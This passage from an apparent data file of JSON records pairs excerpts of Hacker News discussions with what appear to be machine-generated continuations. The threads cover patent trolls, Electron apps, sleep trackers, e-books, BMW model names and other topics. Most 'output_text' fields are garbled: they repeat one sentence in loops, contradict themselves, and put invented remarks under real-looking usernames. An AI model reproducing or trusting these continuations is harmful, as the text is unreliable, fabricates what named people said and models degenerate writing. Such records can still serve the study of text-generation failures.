vehicles.\n\nThey could spend their entire 'paving' budget here in Michigan where they're\nheadquartered and it would be barely noticeable.\n\n~~~\nwil421\nIsn\u2019t the pothole problem in Michigan due to climate? In Atlanta, the city\nproper has terrible potholes due"} +{"output_text": " the patent system to force the\ngovernment to do the right thing.\n\n~~~\nchx\nI don't think that's a good idea. The patent system is not broken. It's\nworking as intended.\n\n~~~\nanonsivalley652\nIt's broken because it's not working as intended.\n\n------\njoshstrange\nI'm not sure if this is a troll or not but I'm curious if anyone has ever\nlooked into the patent", "input_text": "------\nredm\nHaving gone through this a number of times, and its never about the validity\nof the patent. These patents are often acquired from defunct companies anyway.\nIf they don\u2019t acquire, they have revshare deals for enforcing.\n\nPatent trolls typically have almost no overhead, just a small office in a\ncheap venue (Marshall Texas) and time.\n\nIts simple math, 1) it\u2019s cheaper to settle out then litigate (by far) so\nboards usually want to settle, and 2) its too expensive to litigate, ie you\ndon't have 1-2 million to fully fight a patent troll.\n\nGood for you for fighting. Ultimately thats what we've done and its the only\nway to stop the Trolls. (Shout out to Lee Cheng formerly from NewEgg)\n\nThere are some patent defense consortiums that you can join that will share\nthe burden if you are sued by a troll making you a much less appealing target.\n\nGood Luck!\n\n~~~\nstreetcat1\nQuestion,\n\nSo do you happen to know if the troll needs to prove that the company violated\na claim, or does the company need to prove that it DID NOT violate the claim?\n\n~~~\nchx\nThis will be fought on an entirely different level: the patent is bogus in the\nfirst place. There's nothing patentable about it.\n\nThat's how you hunt trolls. Merely proving you didn't violate their patent is\nnot helping the next guy (and actually, you might have violated the patent,\nwho knows with these frivolous things). Killing their patent does.\n\n~~~\nanonsivalley652\nThere ought to be a super PAC / legal collective in US whose primary goal is\nto basically hack the system by using"} +{"output_text": " Slack, and it's a\nhorrible experience.\n\n~~~\njacquesc\nI've been using Slack for years and it's been fine. I've been using it on the\ndesktop for years and it's been fine.\n\nI've been using it on the web for years and it's been fine.\n\nI've been using it on the mobile for years and it's been fine.\n\nI've been using it on the tablet for years and", "input_text": "ron apps are a regression from Java apps. And HotSpot is a little wonder\nof performance, unlike V8\n\n~~~\nmnm1\nSadly, these apps do contain their own JREs. The memory footprint is hundreds\nof megs and they take half a minute to start. Just like Electron apps. I don't\ndeny the tech under the hood (JVM) is wonderful, but the comparison to\nElectron apps is apt.\n\n------\nb123400\nI've worked with companies making apps with electron/nw.js, what strike me\nmost was not the performance or the product itself, but the reason they\ndecided to use electron. The argument is always about development efficiency,\nwhile ignoring the user experience sacrificed. I find it lack of\ncraftsmanship, just kind of sad.\n\nThough, it is true that nontechnical users are unlikely to realise the\ndifference, they probably don't know an app with not many functionality costs\nhundred megabytes. Maybe I am just getting old and grumpy, maybe that's how\nassembly programmers see C programmers.\n\n------\nAvshalom\nWait, where is this explosion of new desktop applications?\n\nAlso isn't it only a lower barrier if you already know html/css/js\n\n~~~\njacquesc\nI'm currently using these Electron Apps every day: Slack, Nylas, VSCode,\nInsomonia, Freeter, Mongobooster\n\nOn a 2015 macbook pro with 16GB of RAM.\n\nThe buggiest and most resource intensive apps I use tend to be the native ones\n(iTunes, Dropbox, BusyCal, Evernote).\n\n~~~\nx0x0\nSlack on the desktop is a hunk of garbage. Sign in to"} +{"output_text": " better to assume the best and assume the worst.\n\n~~~\njrockway\nI don't think it's impossible to know for sure. I think it's impossible to\nknow for sure whether someone read an article or not before posting.\n\n~~~\nGoladus\nI don't think it's impossible to know for sure whether someone read an article\nor not before posting.\n\n------\njrockway\nI don't think the author is wrong. The Mac", "input_text": ". I did that because you didn't\nbother to read the article, but you bothered to comment.\n\nIt's just isn't that simple. His argument for the MacBook Air is that it's in\nthe same form factor, while having incredible battery life and being more\npowerful computationally. Plus, throw in OS X and you have a deal. In a way\nAir is netbook inspired in terms of the form factor, and the it killed the\nnetbook by making the point that you could still pack in impressive features\ninto a form factor that small by conventional standards, while having a decent\nprofit margin.\n\nIn the article, the author makes the point that what really killed the netbook\nwas portable computing (in the form of smart phones and tablets) that packed\nthe same punch and was more intuitive, while maintaining a good enough profit\nmargin for hardware manufacturers to stampede in order to get into the\nsegment.\n\nThat said, I have a netbook, an Acer Aspire One, and it runs Ubuntu 10.10 with\na grin and is quite awesome once you get used to the tiny keyboard...\n\nBesides, I really do think that no one is taking real advantage of modern\ncomputing and you can still write Ruby code on Pentium 2 era PC once you flash\nit and boil it down to the basics. I think that if someone is dedicated then\neven a dumb terminal is enough to write code, why do you need that new found\ncomputational power? This really is an honest question.\n\n~~~\nGoladus\nI downvoted your post because the second sentence attacks the poster rather\nthan the post. It is impossible to you to know for sure whether someone read\nan article or not before posting. Such a guess never adds anything to a\ndiscussion. It is always"} +{"output_text": "? digital encyclopedias.\n\n~~~\nspokey\nI think you're right, but I think you're wrong in thinking that the digital\nencyclopedias are replacing physical encyclopedias.\n\nI think the digital encyclopedias are replacing the physical encyclopedias\nbecause they are cheaper, easier to use, and more convenient.\n\nI think physical encyclopedias are toast because they are too expensive, too\ncumbersome, and", "input_text": " new version of Ramamia (to be renamed Genevine).\n\nThere are probably others.\n\n~~~\nspokey\n> Encyclopedias did really well until Wikipedia came along. Encarta was the\n> first sign of trouble, but Wikipedia was the nail in the coffin.\n\nThis is incidental to your comment, but I think your details are wrong in this\nexample.\n\nMultimedia digital encyclopedias replaced physical encyclopedias long before\nWikipedia came along, in fact throughout the 80s and early 90s it is a pretty\nsafe bet that encylopedias on CD-ROM and later DVD significantly outsold the\ndead-tree versions, and by the mid-90s the major brands (at least in the US)\nalready had online versions as well.\n\nEncarta (which was initially a rebranded Funk & Wagnalls encyclopedia) was\njust one example, and a later one at that, of many encyclopedias that were\ntransitioning from print to digital. Encarta doesn't represent some kind of\nparadigm shift in the encyclopedia business, just a large company snatching up\na small player in a market they were trying to penetrate. Interestingly\nenough, Encarta has ceased production, while World Book, Encyclopedia\nBritannica and others are still in business and presumably profitable (for\nnow).\n\nWikipedia was and continues to be a threat to \"traditional\" encyclpedias, but\nnot because they didn't anticipate a transition from physical to digital\npublication.\n\n~~~\njasonlbaptiste\nyup, i didn't want to get into a long extended explanation. My logic is this:\nphysical encyclopedias are toast. What do we use instead of them more often\nand most recently"} +{"output_text": "\\. Yes, it is.\n\n2\\. Yes, it is.\n\n~~~\nnaveensundar\nThanks for the answers. I am glad to hear that the product is useful.\n\n------\njoshu\nI'm not sure I understand the product.\n\nI have a sleep tracker, and it's pretty good. I don't need to wake up at the\noptimal time, but I do need to wake up at the optimal time.\n\nI", "input_text": " look around the page for a link to a product description, get\nfrustrated, hand edit the url to just 'wakemate.com'.\n\nThere is no sidebar for me reading in firefox. Maybe it is some fancy script\nthat got binned by my various anti-junk plugins.\n\n------\nnaveensundar\nCongrats on shipping on a hardware product! The product seems great. A couple\nof questions... The site says the product is scientific. But the first paper I\nfound after a bit of digging points to the use of Actigraphy which seems to be\njust a method of collecting data (even though you say it is a \"clinically\nproven science\"). The second pdf containing the excerpts does not answer the\nfollowing questions.\n\nThe questions\n\n1\\. Is waking up at the optimal time (light sleep before alarm) shown to\nreduce _daytime_ grogginess rather than just wake-time grogginess?\n\n2\\. Is the continued waking up at the optimal time free of any adverse effects\nin the _long run_? I did some googling to find answers to the above, but\ncouldn't find anything layman readable or substantial. If I have to pay $60\nfor a product, it is really a pain to do the research myself.\n\nSome excerpts\n\n\"subjects were presented a word list 1 min after arousal from different sleep\nstage...\"\n\n\"The most important finding from this study is that sleep inertia reduces\ndecision\u2010making performance for at least 30 min.\"\n\nIf it makes me feel good just after waking up for an hour or so, then is it\nreally that useful?\n\n(Edit: Read the second pdf)\n\n~~~\nspydertennis\nYour initial questions:\n\n1"} +{"output_text": "you are giving your speech, you should be able to hear your own voice and\nlisten to the audience\u2019s feedback.\n\n9\\. Practice, practice, practice.\n\nPractice your speech until you are comfortable with it. Practice it in front\nof a mirror, practice it with a friend, practice it with a group of people,\npractice it with a recording device, practice it with a recording device and\na friend, practice it with a recording device and a group of", "input_text": "\n5\\. Interact with the audience.\n\nReality check: who are you speaking to? Your audience. They are here to learn\nfrom you, so it\u2019s best to know your audience and involve them in your speech.\nFor example, this can be accomplished by doing simple tasks such as asking\nquestions \u2014 \u201craise your hand if\u2026\u201d Follow tip #5, and you\u2019ll keep the audience\nrefreshed and engaged.\n\n6\\. Pull yourself out of a tailspin.\n\nDuring the speaker training, I choked up during my improv and forgot the name\nof an organization I was supposed to describe. After five seconds of misery,\nthe name came back to me and I made my recovery by graciously and humorously\naccepting the fact I made my mistake. Surprisingly, the audience felt that\nthis contributed to the power of the speech. Apparently some speakers even\nplan out things to fail during their speech so they could similarly pull\nthemselves out of a tailspin. This tactic is supposed to connect the audience\nto the speaker and create this bond because the speaker becomes more human,\ndown-to-earth, and on the same plane as the audience.\n\n7\\. Don\u2019t hold back your energy.\n\nFor unknown reasons, many equate speaking with less energy to increased\ntechnical expertise. That actually doesn\u2019t make you look more sophisticated,\nthat just makes you look like a poor speaker. Release that energy and don\u2019t\nhold back! Capture your audience\u2019s attention with all the power you have to\nmake your speech more effective.\n\n8\\. Critique yourself and have others critique you.\n\nThis may seem self-explanatory, but when you are practicing your speech, take\nturns with others to point out positives and negatives in your speech. When\n"} +{"output_text": " find.\n\n------\njamesbritt\nI've been reading a lot of ebooks lately. I've been reading a lot of books\nbefore, but I've been reading a lot of ebooks lately.\n\nI've been reading a lot of books before, but I've been reading a lot of ebooks\nlately.\n\n------\njamesbritt\nI've been reading a lot of ebooks lately. I've been reading a lot of books\n", "input_text": ".\"\n\nEveryone who I knew liked to read while growing up still likes to read. Some\npeople don't, and thats fine too. What annoys me is people who don't like to\nread, but feel like they should, and therefore go looking for a scapegoat. And\nsomething tells me that some people have struggled to read and felt inadequate\nabout that throughout history.\n\n------\ngregrata\nI've found the opposite, if you'll allow that eBooks are real books. To me,\nit's a golden age of books - with self publishing and eBooks, there are more\nbooks coming out ever day than ever before. I personally read AT LEAST two\nbooks a week (usually not technical - I enjoy sci-fi). I've always been a avid\nreader, but generally had to re-read a lot (I have about 5k physical books, to\nsupport that habit). Theses days, I'm ALWAYS reading new books. The selection\nis amazing, a lot of the books are very good!\n\n------\nyason\nOne reason I've observed is that the quality of printed text isn't necessarily\nthat good. I can't not let go of a good book, I'm only bounded by the time of\nday and night: if I weren't, I'd read it on one sitting. Or an interesting\ntextbook that I can't wait to get back to even if it's slow to read because\nit's just so interesting.\n\nBut there are lots of books that just aren't that good in comparison to really\ninteresting articles on the internet. There are a even a lot more articles, so\nthe reader must develop the skill of skimming quickly and deciding early\nwhether there's any meat in it. But good articles are really good and they're\neasy to"} +{"output_text": "\njoshu\nI've found that the best way to learn is to read a lot.\n\nI read a lot of fiction, and I read a lot of nonfiction.\n\nI read a lot of technical books, and I read a lot of nontechnical books.\n\nI read a lot of books that are about a particular topic, and I read a lot of\nbooks that are about a particular person.\n\nI read a lot of books that are about a", "input_text": " help your logic skills. I tend to find\nas I do this I will be either thinking of what is going on and trying to think\nahead, or I would try to imagine what I would do instead. Do this practice has\nallowed me to vividly remember a book I read years ago.\n\n _Nonfiction:_ For nonfiction I use two techniques that go hand in hand. The\nfirst is the same as for fiction, the only difference is that I will stop a\nbit more often. The second skill is to try to explain what I just read to\nmyself, as if explaining to someone else. This is a way for me to test if I\nreally took in the information I just read, if I find that I can't I will go\nback and read until I can.\n\n _Summary:_ I believe that if you make an effort to do this, one; you will\nfind the books WAY more interesting, and two; you will find you brain actually\nmulling over what you are reading and focusing on it instead of just quickly\nreading and moving on.\n\n------\ncsnewb\nTo improve information retention you should exercise your \"information\nretrieval\". Basically, take a sheet of paper, write down the name of a topic\nyou're learning or a book you're reading, and then write down as much\ninformation as you can remember about it. Compare your notes against your\nprevious attempts to identify what you need to focus on studying/remembering\nmore. Repeat this exercise until you can comfortably recall all the main\nideas.\n\nTwo books I highly recommend that can help you with improving reading and\nlearning skills: 1) \"Make It Stick\" by Peter C. Brown 2) \"How To Read A Book\"\nby Mortimer J. Adler.\n\nGood luck!\n\n------"} +{"output_text": "s?\n\n~~~\nimglorp\nI'm not sure. I'm on a Mac, and I can't get the back button to work.\n\n------\njedberg\nI'm not sure if this is a bug or a feature, but I was able to capture the\nblack king with my queen.\n\n------\njedberg\nI was able to capture the black king with my queen.\n\n------\njedberg\nI was able to capture", "input_text": "'minimal chess' programs trace their lineage (and mostly their rules)\nback to ZX Chess [0] for the ZX81, which was a significant accomplishment, and\nremains notable in the history of personal computing, cropping up from time to\ntime in lists of the greatest program ever written. It says this at the top of\nthe page.\n\nIt is not a naive prototype. I'd be very surprised if the programmer couldn't\nplay chess. It's a part of computing history. And the competition to reduce\nthe number of bytes is > 35 years old.\n\n[0]\n[https://en.wikipedia.org/wiki/1K_ZX_Chess](https://en.wikipedia.org/wiki/1K_ZX_Chess)\n\n------\nguru_meditation\nMoved white queen in front of black (computer) king under the cover of the\nwhite knight. Computer went ahead and captured my queen using its king.\n\nWas tempted to capture the king with my knight, closed browser window instead\n:)\n\n------\ncomnetxr\nI played a short game; I captured black's queen on black's back row with my\nqueen, in which the black king could have taken my queen or moved out of\ncheck. Instead, black moved a different piece (invalid given that it is in\ncheck). So I captured black's king...\n\n------\nimglorp\nSide question about this site: Does anyone know why the FF back button (Alt\nleft arrow) and Page-up/down is disabled and why this would be desirable?\n\n~~~\nshakna\nSeems to be a consequence of JSSpeccy, the Spectrum emulator embedded into the\nsite. Perhaps to let the emulator grab those sorts of shortcut"} +{"output_text": "github.com/francoislaberge/shrinkray)\n\n~~~\njoshuamorton\nI'm curious, what is the motivation for this?\n\n~~~\nendergen\nI'm trying to make a smaller Electron like Javascript application wrapper.\n\n~~~\njoshuamorton\nI'm curious, what is the motivation for this?\n\n~~~\nendergen\nI'm trying to make a smaller Electron like Javascript application wrapper.\n\n", "input_text": ". But would anyone put up with it?)\n\n~~~\ncandiodari\nHow about the paradigm that was in use for, oh, 3-4 decades, before the web?\n\nThe general idea:\n\n \n \n void OnPaint(PaintCommands p, Rect limitToRect)\n \n\nYou can finally sort-of do this, with RequestAnimationFrame and Canvas\nmaximized, and it is indeed way faster than HTML, at least, on my desktop. It\nresizes if that's what you do inside of it. For games this is pretty much\nmandatory.\n\nIt still sucks in many ways though. More could be achieved with just directly\nexposing OnPaint, 2d and 3d versions. Plus various basic things, like copy-\npaste, don't work.\n\nIt doesn't satisfy half your demands, I realize that (though windows\naccessibility can be quite good too, and the web's accessibility sucks badly).\nBut I would argue that having actual complex apps was worth more (compare MS\nOffice to Office 360 or Google Docs, or worse, compare things like Corel Draw\nor Lucidchart to the Lucidchart web app, or any other HTML5 drawing/charting\napp).\n\nAnd let's just not talk about Desktop Games versus either web games or even\nphone games. It's depressing.\n\n~~~\nmajewsky\nHave fun fulfilling any sort of accessibility requirements with this.\n\n------\nendergen\nI'v been experimenting with trying to make a smaller Electron like Javascript\napplication wrapper. It's called Shrinkray, and only adds 60K of overhead to\nthe size of the app. See:\n[https://github.com/francoislaberge/shrinkray](https://"} +{"output_text": "\n\n------\njamespo\nI'm really excited about this. I've been waiting for a new Nintendo console\nfor a long time. I'm not a gamer, but I love Nintendo and I'm really excited\nabout this.\n\nI'm also really excited about the Switch's ability to play games from my\ncomputer. I've been wanting to play some of my old games on my computer, but\nI've been waiting for a new console to do it.\n", "input_text": " I never went to the nintendo portables, so I was shockingly oblivious\nabout these. I define v2 as both \"set of games you can play on it is identical\nto the first one\", and \"not a retro notalgia remake\". But even by that\nstandard, wikipedia tells me you gave a lot of good examples. I can only hope\nthe switch makes the list, because I'm not interested in spending significant\ngame time with a handheld tablet, but I also need enough distance to flirt\nwith their limitations.\n\n------\nnstart\nJust got mine. Charged and used. This thing is such a joy to use. I'll\nprobably play with it more in mobile mode. It feels good to hold it. And yes\nit's underpowered on the spec sheet but at the same time, it works really\nwell. And I'm having a lot of fun with it so for me that's the main thing\nreally :D.\n\n~~~\nPanoramix\nI don't understand the negativity based on technical performance. The thing is\nsupposed to be fun to play, not bring you closer to the limits of what modern\ntechnology can achieve. Nintendo has some extremely fun games that I'd rather\nplay very much before an extremely high performance super high HD game that\nultimately falls flat.\n\n~~~\ncmrdporcupine\nMuch of the negativity is related to the fact that the launch game itself does\nnot play well when docked.\n\nAnd this seems unjustifiable given how well the same chipset does in the\nNVIDIA Shield, which is capable of driving 4k games just fine.\n\n~~~\nPanoramix\nI was not aware of that. Which is strange since I read more than 10 reviews,\nsurely they would have noticed?"} +{"output_text": ".\n\n~~~\njarrett\nI'm not a lawyer, but I'm guessing that the reason he's not being represented\nby a lawyer is that he's not paying for one.\n\n~~~\nwpietri\nI'm guessing that too. I'm not a lawyer, but I'm guessing that the reason he's\nnot being represented by a lawyer is that he's not paying for one.\n\n------\njoshuahedlund\nI'm not a lawyer", "input_text": " parts where he\nlists all the defendants. After page 37 it's just copies of the laws,\nregulations and screenshots.\n\nAssuming he hired a lawyer to file his other case claiming arbitrary\nenforcement of the CA law against his company (discussed in paragraph 4 of the\ncomplaint linked to above), that one seems much more likely to go somewhere\nalthough relief at this point is pretty unclear.\n\nAlso the first time I've noticed someone use \"pivot\" in the Lean Startup sense\nin a legal complaint (fn. 3).\n\n------\ngojomo\nOn page 35, in order to represent his own company as a non-lawyer, Greenspan\nappeals for an exception to the rule that his corporation, as the plaintiff,\nmust retain legal counsel. He bases this request on (among other reasoning)\nthe _Citizens United_ decision.\n\nLike Greenspan, IANAL, but I suspect his complaint will die quickly on that\nbasis alone.\n\n~~~\napaprocki\nThe court replied on 5/8 that he has until 5/22 to retain qualified counsel or\nit will be dismissed without prejudice.\n\n------\njarrett\nDid anyone read the part where he explains that he is not being represented by\na lawyer? (\"REQUEST FOR CIVIL LOCAL RULE 3-9(b) EXEMPTION AND RETIREMENT.\")\nThat seems a very unusual decision indeed. Does anyone have any idea why he\nwould do it that way? Is it probably a money issue?\n\n~~~\nwpietri\nFunny! After reading the first few pages, I said, \"What lawyer is willing to\nput his name on this garbage?\" and paged around in the document. Only to find\nno lawyer's name at the bottom, just his own"} +{"output_text": "'t know if these are the only questions, but they are the ones that\nstand out.\n\n~~~\nmattmanser\nI'm not sure what you're trying to say.\n\n1\\. No.\n\n2\\. No.\n\n3\\. No.\n\n4\\. No.\n\n5\\. No.\n\nI'm not sure what you're trying to say.\n\n~~~\nirahul\n> 1\\. No.\n\n> 2\\.", "input_text": ", to\nanyone familiar with the topics, his questions are pretty trivial. The only\nthing under contention is if the topics he considers relevant are actually\nrelevant.\n\n~~~\nmattmanser\nBut what have they got to do with _software development_.\n\nZero. Zilch. Nothing. Absolutely sod all.\n\nFrom the OP's original post, after seeing the questions over the days, his\nclaim:\n\n _If you can't answer the majority of the questions on these four papers, and\nyou're working or intend to work as a software developer, you should ask\nyourself why \u2014 most likely you're either you're missing something you really\nshould know, or you're lucky enough to be working within a narrow area where\nyour deficit doesn't matter_\n\nSo far almost none of the questions on any of the days have been the slightest\nbit 'important' in software development.\n\n~~~\nirahul\n> But what have they got to do with software development. Zero. Zilch.\n> Nothing. Absolutely sod all.\n\nI don't have all of his questions at hand, but from memory:\n\n1\\. Basic knowledge of statistics and probability is required for machine\nlearning.\n\n2\\. His question about zeroing multi-dimension array is to test if you\nunderstand the under lying memory model.\n\n3\\. Do we really need to discuss why you should know how cryptographic hashes\nwork?\n\n4\\. B-tree has better locality of reference and are de-facto data structure\nfor storage for majority of the cases. Granted, not many people do low level\nstorage, but does that somehow makes it irrelevant to software development?\n\n5\\. Mutex, rw-locks etc are building blocks of concurrent programs.\n\nI don"} +{"output_text": ", we will be able to make\nemacs-lisp even better.\n\n~~~\nlispm\nI think that's a good idea.\n\n------\njokoon\nI don't know if it's a good idea, but I think it's a good idea to have a\nlanguage that is not elisp.\n\nI think it's a good idea to have a language that is not elisp, because it\nwould allow people to write extensions in a language", "input_text": "IDE is implemented.\n\nTherefore, it matters what language is used as a base. People mentioned Lua or\nJavaScript, but they are nowhere near useful enough for the task.\n\nTherefore, it feels to me - and I believe to many other Emacs users as well -\nit matters that there should be _one base language_. Emacs as an Elisp system\nwith text editing capabilities _feels_ like a whole. Everything fits together\nnicely and interacts with each other. It is elegant. Aside for inviting\nmaintenance upkeep and general chaos, making Emacs \"run\" multiple languages at\nthe core is sort of like shattering its soul into many pieces. I don't want to\nhave an editor with multiple-personality disorder.\n\nImagine you're writing an executable in three different programming languages\nmixed together at the same time. That class is written in Common Lisp, but\nit's child classes are written in C++. And exception handling everywhere is\nwritten in Python.\n\nThe sheer mental effort to make all of these work in a conceptual harmony\ninside a single program would be enormous. And it would still feel weird.\n\nThat is what multiple-extension-language Emacs would feel.\n\n~~~\nlispm\n> It's basically backwards of how a typical editor/IDE is implemented.\n\nThe main difference is that the implementation language is a dynamic language,\nwhich is also mostly the implementation language.\n\nThat's similar to how some other IDEs work like Smalltalk or Clozure CL on the\nMac. But those are not focused on implementing an extensible editor. Those are\nIDEs with editing features.\n\n------\nterminalcommand\nIf emacs supported new languages other than elisp, a lot of new blood will\njoin the community. Once we get the new hackers"} +{"output_text": " I have a hard time falling asleep, I am a light sleeper and 2) I\ndon't want to wake up my wife.\n\nI've been using the Sleep Cycle app for a few weeks now and it's been\nfantastic. I've been able to get to sleep in about 30 minutes and wake up in\nabout 30 minutes. I've been able to get to sleep in about 45 minutes and wake\nup in about 45 minutes. I've been able to get to", "input_text": " the entire day, but only if it's fully charged when I get\nup in the morning.\n\n~~~\nspydertennis\nOh I see. We did a lot of work to make the product use minimal battery on the\nphone so hopefully that helps.\n\n~~~\nchollida1\n> We did a lot of work to make the product use minimal battery on the phone so\n> hopefully that helps\n\nAs a person who pre-ordered the phone, that is appreciated very much:)\n\n------\nrsaarelm\nAfter reading the previous thread, I got interested in this and dug up the\nfree ElectricSleep app for Android\n(). It seems to be pretty much\nequivalent to iPhone's Sleep Cycle app, it uses the phone's accelerometer with\nthe phone placed on the bed. Only had time to test it one night so far, but it\nmanaged to wake me up easily from a duration of sleep that would usually have\nleft me in zombie mode.\n\nProblem with these things is that getting psyched about a fancy wake-up\ntechnology is likely to create a placebo effect for a while, so I'll need to\nstick with the thing to see how well it works in the long haul. Might look\ninto WakeMate if the accelerometer alarm thing is still working good after a\nmonth or so.\n\nAn interesting thing to try with these things is doing the Everyman sleep\nschedule with a 4-5 hour nightly sleep and several 20 minute naps every day,\nand attacking the most common point of failure where you oversleep on the\nnightly core sleep with the smart alarm.\n\n~~~\nkevinelliott\nI struggle with placing items like my iPhone on the bed for 2 reasons: 1)\nalthough"} +{"output_text": "\nand engine size.\n\n~~~\npedrocr\nThat's true for the US market but not for the rest of the world. The US market\nis the only one where the engine size is the first number.\n\n------\njoshu\nI'm not sure if this is a joke or not, but I'm pretty sure that the \"M\" in\n\"Mitsubishi\" is a reference to the \"Mitsubishi\" brand.\n\n~~~", "input_text": "'s a joke, it is taking it too far, so it just\nbe true. => Apparently, the 'Lettuce' was a car, and they also sold the _\"\nMitsubishi Mini Active Urban Sandal\"_. Most cars there are Asian, so I guess\nthis is a sign of a cultural chasm between 'the west' and 'the east'.\n\n------\nacomjean\nVWs used to be named after trade winds: Golf, Scirocco, Jetta...[1] Though now\nits a mixed bag.\n\nAnd BMWs use a model series, engine size. 325i. = 3 series, 2.5 l engine.\nUnless its the sporty version then its just M+series (EG M3)\n\nI have a honda element, I have no idea how it was named, but leads to bad\njokes about being in my ______.\n\n[http://members.iinet.net.au/~felsche/Bernd/trivia/vwcars.htm...](http://members.iinet.net.au/~felsche/Bernd/trivia/vwcars.html)\n\n~~~\npedrocr\nOn BMW it used to be like that but is no longer the case. A 325d is now a 2\nliter engine with a larger turbo. A 340i has a 3 liter engine. And so on.\nThey've kept the model numbering but as smaller engines gained performance and\nefficiency they've replaced smaller engines in larger named cars.\n\n~~~\n013a\nAt least with BMW its consistent. A series number (3) followed by two numbers\nwhere a larger number represents a larger engine (30/40), followed by X if it\nhas all wheel drive. M means performance. Series numbers increase with price"} +{"output_text": " have to.\n\n~~~\njoshstrange\nI don't think so. The app store is a closed system. If you want to sell your\napp you have to go through the app store.\n\n~~~\ndiminish\nI think you are right. But if someone came up with www and an app called\nbrowser, would apple accept it in the app store? They would have to.\n\n~~~\njoshstrange\nI don't think so.", "input_text": "~~~\nDylan16807\n> Say they implement the scheme you mention in clang and the LLVM linker, so\n> the function bodies of their public APIs end up placed in that privileged\n> region of memory, and those of their private APIs end up in the restricted\n> region.\n\nAgreed that this design is fundamentally flawed, but that's because the coder\nis providing the implementations of private code. Providing that is Apple's\njob.\n\nPut privileged code into a dynamically-linked library that Apple provides.\nOnly code in that block of memory can call private APIs. Pretty\nstraightforward to implement, and requires nothing fancy from the kernel.\n\nOf course this only works if you can prevent the attacker from corrupting\nmemory.\n\n~~~\neuyyn\nI don't know if iOS does randomization of loading addresses, but if so, that'd\nbe a disadvantage.\n\nAnd well, in any case they need to maintain compatibility with current apps\nfor who knows how many years.\n\n~~~\nDylan16807\n> I don't know if iOS does randomization of loading addresses, but if so,\n> that'd be a disadvantage.\n\nSuch a scheme wouldn't stop ASLR. The loader just needs to tell the\nverification code where it put the privileged libraries.\n\n> And well, in any case they need to maintain compatibility with current apps\n> for who knows how many years.\n\nDo they? I think Apple could easily order everyone to switch over to a more\nsecure compiler with a one year deadline.\n\n------\ndiminish\nJust imagine www didn't exist and Apple already had ios and apps. If someone\ncame up with the idea of www and an app called web browser, would apple\naccept it in the app store? They would"} +{"output_text": "ify DOM elements, etc.\n\n------\njulien_c\nI'm not sure if it's a good idea to use the word \"fast\" in the title.\n\n~~~\njie\nI agree. I'll change it to \"fast and lightweight\".\n\n------\njulien_c\nI'm not sure if it's a good idea to use the word \"fast\" in the title.\n\n~~~\njulien_c\nI'm", "input_text": "js, I'll push it online and all design credits goes to you\nof course! Myjs.fr has been tweeted and visited a lot since yesterday! @jie\n\n------\nbretthopper\nTwo suggestions:\n\n\\- Get this on GitHub\n\n\\- Get a native english speaker/writer to fix up the copy\n\n~~~\njie\nI'm pushing it on Github and I'm also coming to the States before Summer.\nSure, I'll find nice people to help me fix up the copy!\n\n~~~\ntonyskn\nWhat's the link for my.js on Github?\n\n------\njerome_etienne\nThe work behind is impressive and inovative.\n\nMore general benchmarks would be nice. more real life situations maybe, even\nif it is hard to say what is'real life'.\n\nor simply to fork and to put myjs in there\nto see how it compares.\n\n~~~\njie\nTotally right. I intend to add much more benchmarks and concrete examples in\ndays to come. At first, I wanted to use Slickspeed but Slickspeed is very much\n\"selectors\" oriented. It was useful to have those selectors tests 3 years ago\nwhen each framework had to implement its own selector methods. But today, no\nmatter which framework, under the hood it's the same \"querySelectorAll\"\nmethod. So comparing frameworks according to their selectors like slickspeed\nis a bit like comparing the performances of 2 PCs with the same hardware. In\nfact, the real difference between JS frameworks comes from the way they handle\ntheir HTMLElement wrappers, how those are created, how fast they access and\nmod"} +{"output_text": "\u2014that can detect when you\u2019re waking up._\n\nI don't understand this. How does it measure subtle body movements?\n\n~~~\njrockway\nIt's a wristband that measures your heart rate.\n\n~~~\ncsomar\nI don't understand. How does it measure your heart rate?\n\n~~~\njrockway\nIt's a wristband that measures your heart rate.\n\n------\njrockway\nI'm not sure I understand", "input_text": " of the phone as safe and inert, not\nrestricting your movement, #2 won't be such a problem?\n\n------\nmrchess\nA couple questions:\n\n1\\. Can anyone compare WakeMakes with that clock thing that tracks your eye\nmovement by wearing an eyemask? The name of the clock escapes me at the\nmoment, will edit this post once I remember.\n\nedit: it's called Zeo\n\n2\\. If I know I wake up at least once a night to use the bahtroom out of habit\ndoes this disrupt the wake-up system in any way?\n\n~~~\nclewiston\nWe have a comparison chart here: \n\nWakeMate is cheaper, more comfortable, and easier to use.\n\nGetting up in the middle of the night won't affect anything. Our analytics\nsystem will, however, tell you that you woke up during the night.\n\n~~~\nFrazzydee\nYou should probably update the price column. It still says $49.99, although\nthe price increased to $59.99.\n\n------\nmoozilla\nIs it possible to use this if you don't own a smart phone?\n\n~~~\nanon-e-moose\nDitto. I'm quite happy with my qwerty-keyboard dumbphone, but I would love to\nbuy one of these!\n\n~~~\nellism\nIt works with newer generation iPod Touches or iPad, so if you really wanted\none, you could always buy one of these devices to use it with.\n\n------\ncsomar\n_The WakeMate is a comfortable wristband that you wear when you sleep. It\nmeasures subtle body movements\u2014a scientifically proven method\n([link]"} +{"output_text": "\n~~~\njobigoud\nI agree with you.\n\nBut I think it's a bit unfair to say that China and India are not responsible\nfor their emissions.\n\nThey are responsible for the emissions of their citizens.\n\n~~~\nomk\nI agree with you.\n\nBut I think it's a bit unfair to say that China and India are not responsible\nfor their emissions.\n\nThey are responsible for the emissions of their citizens.\n\n------\n", "input_text": ".\n\n~~~\nyk\nIt's also the largest country, by a large margin.\n\n~~~\nrimliu\nWhere does this leave Russia which is almost twice as big and Canada which is\nonly slightly bigger? And China is less than 1% larger than USA.\n\nPopulation-wise China is the largest, but India is not that far behind.\n\n~~~\ntrickstra\nSiberia\n\n------\nsatyenr\nPreviously discussed at\n[https://news.ycombinator.com/item?id=20029966](https://news.ycombinator.com/item?id=20029966)\n\n~~~\npcdoodle\nThanks, Thought I was going crazy.\n\nLol about it being crops and not trees, what a crap article.\n\n------\nmytailorisrich\nForest coverage has been increasing in several European countries as well\n(e.g. UK and France off the top of my head)\n\n------\nknown\nThis goes for a toss when correlated with\n[https://en.wikipedia.org/wiki/List_of_countries_by_greenhous...](https://en.wikipedia.org/wiki/List_of_countries_by_greenhouse_gas_emissions)\n\n~~~\ngovg\nWhy not do it per capita instead?\n\n~~~\njobigoud\nClimate Change doesn't care about per capita.\n\n~~~\nomk\nClimate change doesn't care about which country either.\n\nI agree with the fact that China and India need to focus on their emissions,\nbut it seems ridiculously convenient for someone from a western country to ask\na couple billion people to reduce their emissions while they themselves will\nfind every opportunity to reduce their own accountability.\n"} +{"output_text": " and didn't know anyone who had.\n\nI was surprised. I had read that 